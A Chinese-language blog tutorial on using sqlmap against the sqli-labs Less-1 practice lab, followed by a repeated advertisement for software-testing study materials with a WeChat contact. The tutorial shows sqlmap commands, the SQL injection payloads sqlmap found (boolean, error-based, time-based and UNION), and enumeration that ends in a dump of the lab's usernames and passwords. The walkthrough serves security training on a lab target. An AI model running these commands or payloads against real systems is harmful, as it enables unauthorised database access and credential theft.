使用SQLMAP对目标进行常规扫描:
这里以sqli-labs-master靶场的less-1为例:
首先复制浏览器中的链接:
在终端中输入如下语句:
python sqlmap.py -u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
这样SQLMAP就会对指定的URL进行扫描,如果想要使BurpSuite能够抓到扫描过程中的请求包,可以使用SQLMAP的 –proxy 参数 :
python sqlmap.py -u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
–proxy=http://127.0.0.1:8080
SQLMAP开始扫描: BurpSuite进行抓包:
SQLMAP扫描过程中如果出现选项直接选Y即可:
it looks like the back-end DBMS is ‘MySQL’.
Do you want to skip test payloads specific for other DBMSes? [Y/n] y
for the remaining tests, do you want to include
all tests for ‘MySQL’ extending provided level (1) and risk (1) values? [Y/n] y
SQLMAP扫描完毕后会给出找到的SQL注入漏洞以及对应的注入点和PAYLOAD:(以下包含我个人添加的翻译,方便大家理解)
sqlmap identified the following injection point(s) with a total of 50 HTTP(s) requests:—
SQLMAP使用50个HTTP请求识别了以下注入点:
Parameter: id (GET)
Type: boolean-based blind (基于布尔的盲注)
Title: AND boolean-based blind - WHERE or HAVING clause
Payload: id=1’ AND 3826=3826 AND ‘mrQK’='mrQK
Type: error-based (报错注入)
Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
Payload: id=1’ AND (SELECT 9262 FROM(SELECT COUNT(*),CONCAT(0x7162627071,(SELECT (ELT(9262=9262,1))),0x716a707671,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a) AND ‘HuUe’='HuUe
Type: time-based blind (时间盲注)
Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
Payload: id=1’ AND (SELECT 1174 FROM (SELECT(SLEEP(5)))wyad) AND ‘LVya’='LVya
Type: UNION query (联合注入)
Title: Generic UNION query (NULL) - 3 columns
Payload: id=-5616’ UNION ALL SELECT NULL,CONCAT(0x7162627071,0x72566d5973464e4571724343676c7567496d635a47414a62556b4475495562624744556b76686a6e,0x716a707671),NULL-- -
我们还可以发现,SQLMAP在payload的一些关键点进行了编码以绕过可能存在的过滤手段 .
注入成功后获取数据库基本信息:
获取服务器中有哪些数据库:
使用的参数为 --dbs
\sqlmap-master\sqlmap-master> python sqlmap.py
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
–proxy=http://127.0.0.1:8080 --dbs
发现成功获取到目标主机中的所有数据库名:
available databases [8]:
[] challenges
[] dvwa
[] information_schema
[] mysql
[] performance_schema
[] security
[] test
[] xionghai_database
获取数据库中有那些表:
使用的参数为 -D 数据库名 --tables
这里我们查询security数据库:
\sqlmap-master\sqlmap-master> python sqlmap.py
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
–proxy=http://127.0.0.1:8080 -D security --tables
发现SQLMAP不仅给出了有哪些表,还给出了目标服务器的web信息:
获取数据表中的字段名:
使用的参数为 -D 数据库名 -T 表名 --columns
这里我们使用security中的users表:
\sqlmap-master\sqlmap-master> python sqlmap.py
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
–proxy=http://127.0.0.1:8080 -D security -T users --columns
SQLMAP不仅给出了字段名,还给出了字段类型:
Database: security
Table: users
[3 columns]
±---------±------------+
| Column | Type |
±---------±------------+
| password | varchar(20) |
| id | int(3) |
| username | varchar(20) |
±---------±------------+
获取数据表中的字段数据
使用的参数为 -D 数据库名 -T 表名 -C “字段名1,字段名2…” --dump
\sqlmap-master\sqlmap-master> python sqlmap.py
-u http://192.168.xx.xx/sqli-labs-master/Less-1/?id=1
–proxy=http://127.0.0.1:8080
-D security -T users -C “id,username,password” --dump
Database: security
Table: users
[16 entries]
±----±-----------±---------+
| id | password | username |
±----±-----------±---------+
| 1 | Dumb | Dumb |
| 2 | I-kill-you | Angelina |
自我介绍一下,小编13年上海交大毕业,曾经在小公司待过,也去过华为、OPPO等大厂,18年进入阿里一直到现在。
深知大多数软件测试工程师,想要提升技能,往往是自己摸索成长或者是报班学习,但对于培训机构动则几千的学费,着实压力不小。自己不成体系的自学效果低效又漫长,而且极易碰到天花板技术停滞不前!
因此收集整理了一份《2024年软件测试全套学习资料》,初衷也很简单,就是希望能够帮助到想自学提升又不知道该从何学起的朋友,同时减轻大家的负担。
既有适合小白学习的零基础资料,也有适合3年以上经验的小伙伴深入学习提升的进阶课程,基本涵盖了95%以上软件测试开发知识点,真正体系化!
由于文件比较大,这里只是将部分目录大纲截图出来,每个节点里面都包含大厂面经、学习笔记、源码讲义、实战项目、讲解视频,并且后续会持续更新
如果你觉得这些内容对你有帮助,可以添加V获取:vip1024b (备注软件测试)
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!
新**
如果你觉得这些内容对你有帮助,可以添加V获取:vip1024b (备注软件测试)
[外链图片转存中…(img-R8Rk9Vw2-1712784078825)]
一个人可以走的很快,但一群人才能走的更远。不论你是正从事IT行业的老鸟或是对IT行业感兴趣的新人,都欢迎扫码加入我们的的圈子(技术交流、学习资源、职场吐槽、大厂内推、面试辅导),让我们一起学习成长!